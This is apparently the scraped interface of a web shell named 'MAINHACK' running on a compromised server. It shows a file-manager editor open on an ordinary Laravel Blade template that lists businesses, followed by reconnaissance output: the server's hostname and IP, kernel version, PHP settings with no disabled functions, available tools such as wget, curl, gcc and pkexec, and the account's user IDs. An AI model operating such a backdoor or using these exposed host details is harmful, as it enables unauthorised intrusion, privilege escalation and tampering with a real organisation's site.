[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: list.blade.php
@extends('layouts.app') @section('content') <div class="row"> <div class="col-lg-12"> <div class="card"> <div class="card-header d-flex align-items-center"> <span class="panel-title">{{ _lang('My Business') }}</span> <a class="btn btn-primary btn-xs ml-auto" href="{{ route('business.create') }}"><i class="ti-plus mr-2"></i>{{ _lang('Add New') }}</a> </div> <div class="card-body"> <table id="business_table" class="table data-table"> <thead> <tr> <th>{{ _lang('Business Name') }}</th> <th>{{ _lang('Business Type') }}</th> <th>{{ _lang('My Role') }}</th> <th>{{ _lang('Currency') }}</th> <th>{{ _lang('Status') }}</th> <th>{{ _lang('Is Default') }}</th> <th class="text-center">{{ _lang('Action') }}</th> </tr> </thead> <tbody> @foreach($businesss as $business) <tr data-id="row_{{ $business->id }}"> <td class='name'> <div class="d-flex align-items-center"> <img src="{{ asset('public/uploads/media/' . $business->logo) }}" class="thumb-sm mr-2"> <span><b>{{ $business->name }}</b></span> </div> </td> <td class='business_type_id'>{{ $business->business_type->name }}</td> <td class='user_id'>{{ $business->user_id == auth()->id() ? _lang('Owner') : _lang('Invited') }}</td> <td class='currency'>{{ $business->currency }} ({{ currency_symbol($business->currency) }})</td> <td class='status'>{!! xss_clean(status($business->status)) !!}</td> <td class='default'>{!! $business->default == 1 ? show_status(_lang('Yes'), 'success') : show_status(_lang('No'), 'danger') !!}</td> <td class="text-center"> @if($business->user_id == auth()->id()) <span class="dropdown"> <button class="btn btn-outline-primary dropdown-toggle btn-xs" type="button" id="dropdownMenuButton" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false"> {{ _lang('Action') }} </button> <form action="{{ $business->default == 0 ? route('business.destroy', $business['id']) : '#' }}" method="post"> {{ csrf_field() }} <input name="_method" type="hidden" value="DELETE"> <div class="dropdown-menu" aria-labelledby="dropdownMenuButton"> <a href="{{ route('business.edit', $business['id']) }}" class="dropdown-item dropdown-edit dropdown-edit"><i class="ti-pencil mr-2"></i>{{ _lang('Edit') }}</a> <a href="{{ route('business.users', $business['id']) }}" class="dropdown-item dropdown-view dropdown-view"><i class="ti-user mr-2"></i>{{ _lang('Manage Users') }}</a> <a href="{{ route('business.settings', $business['id']) }}" class="dropdown-item dropdown-view dropdown-view"><i class="ti-settings mr-2"></i>{{ _lang('Settings') }}</a> <button class="btn-remove dropdown-item" type="submit" {{ $business->default == 1 ? 'disabled' : '' }}><i class="ti-trash mr-2"></i>{{ _lang('Delete') }}</button> </div> </form> </span> @else <button class="btn btn-primary btn-xs" type="button" disabled>{{ _lang('No Action') }}</button> @endif </td> </tr> @endforeach </tbody> </table> </div> </div> </div> </div> @endsection
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.85 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002